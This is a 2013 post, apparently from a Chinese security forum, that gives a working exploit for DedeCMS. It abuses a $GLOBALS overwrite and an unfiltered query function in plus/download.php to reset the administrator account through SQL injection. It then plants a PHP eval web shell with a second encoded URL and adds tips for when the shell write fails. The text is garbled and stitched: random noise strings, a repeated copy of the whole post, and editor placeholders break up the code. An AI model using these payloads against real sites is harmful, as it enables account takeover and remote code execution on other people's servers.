找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2723|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。- y2 x7 A* s5 l
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
0 n1 n' T' w' c5 {1 N" x起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
: ^" U, T) d& J2 j* R8 pinclude/dedesql.class.php
/ w3 _; I( l8 T0 W; f* ~8 zif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。/ g2 Y' U6 q) b1 g
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2" q% G- j( t, \; \, m0 L9 i, m
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
- P/ V' m+ j- ^plus/download.php( R* E" _) {9 Y, `9 Q4 J5 U
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
# k2 K$ V* A: c1 q6 Gadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
  z, \* Y( _. G/ j- q- sUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
% y$ _+ f8 I, }1 x( Ghttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
9 H+ w# z6 E$ R1 R1 @0 t8 j漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。. V& ?$ e: {4 a8 T4 D7 G9 u
如果找不到后台,参见以前修改数据库直接拿SHELL的方法5 h9 f/ B; t# D. @! I: }' T- ~
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。8 _- v, Q* _5 a/ }7 n
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
. v- T/ L. w; e+ i: k起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
1 B5 N/ [( G# G4 hinclude/dedesql.class.php
# b6 o5 H8 t8 w% g5 B5 |, Dif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
' b' ^( p+ ^4 s5 i* [' [( H8 z同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2; F  h$ F4 K9 z' @
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。1 E; H2 q6 f1 ]4 r5 g+ ~! Y7 x/ [/ @
plus/download.php+ ~0 b6 D8 V' q! U
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
6 i0 p$ b  j8 dadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:' i8 X2 i6 r6 g5 H# M2 j; w# ^
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:, w# E- [  _1 e( v7 a
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
! A6 O7 R8 ?" [/ `5 O0 Q7 H9 F漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
) m. e: e* v% N" D8 i' V; g如果找不到后台,参见以前修改数据库直接拿SHELL的方法+ X" E3 A+ h) u+ A
___FCKpd___6getshell:
8 x9 r" e+ c8 [8 v4 m/ a! G4 D* fhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
. B% Z& I1 P; Fhttp://127.0.0.1/plus/x.php. A8 F7 J6 y; F$ L
update成功后还要访问下 /plus/mytag_js.php?aid=1% S+ z. _" I2 @4 v
失败原因:
! ]6 ?; G& Q2 y: Y* w2 T测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
! `0 F# U8 I' @' g# |- ]配图:+ x. V2 ?$ K) N4 l* ~
1.查看dede当前版本
4 ^- u  o4 n. E  h, u  s1 A# G2 J- ?. i: J8 o' ]( A4 j9 D  y! N
2.执行exp! q  J/ v& ]' |& X8 G2 B

8 l! x7 b9 g1 hhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台, s7 `8 E" F7 V* S# b8 l2 q2 S

: L% a2 T0 O2 w& Xspider密码admin
" j" q! B8 R% e; r; y  O: l. h3 B4 N0 u2 ~
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
! h+ h; G- A) s8 C原作者:imspider
" a9 b. y  u7 E8 P8 t" G5 u
; L$ ^* E$ p# V3 F4 L& @本博客测试+配图+getshell
; q6 Q$ }$ m& ?+ {& ^4 r( w7 T. cPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 1 s7 f: u% v2 M2 K4 d) k& C2 U

4 o, P9 ^( e" n' X7 J& J; x- R7 P& ggetshell:, k! [/ E( I! z$ S; E( G9 V
___FCKpd___7会在plus目录生成 x.php 密码 m
" c! W% Q' B/ Q6 K6 `5 t8 K7 b4 u# Phttp://127.0.0.1/plus/x.php( j0 x# N7 W; l
update成功后还要访问下 /plus/mytag_js.php?aid=1+ T% D, @. c) Y2 s5 q% L9 r
失败原因:: n3 c9 I* E" I3 m* {- y2 C0 U4 J
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)( F  E& G7 s5 D( z6 q  _' y, i! T: ~& e, J. l
配图:- q+ T4 v6 S7 f/ H) M! h" T
1.查看dede当前版本
8 M/ d2 Y8 |+ t' zhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
3 h$ a8 {" W0 C! b. ~& I$ y2.执行exp
" _1 a; Y: H8 ^. d  [8 w, H, f! Vhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台0 r7 U* e8 p# @* R7 _3 I
spider密码admin' q) r' K1 j( {) _( h; {1 B2 E7 y
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
6 W: z& t  n# e0 P6 u8 R$ L ( `9 }' E8 ?" L( j8 w5 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表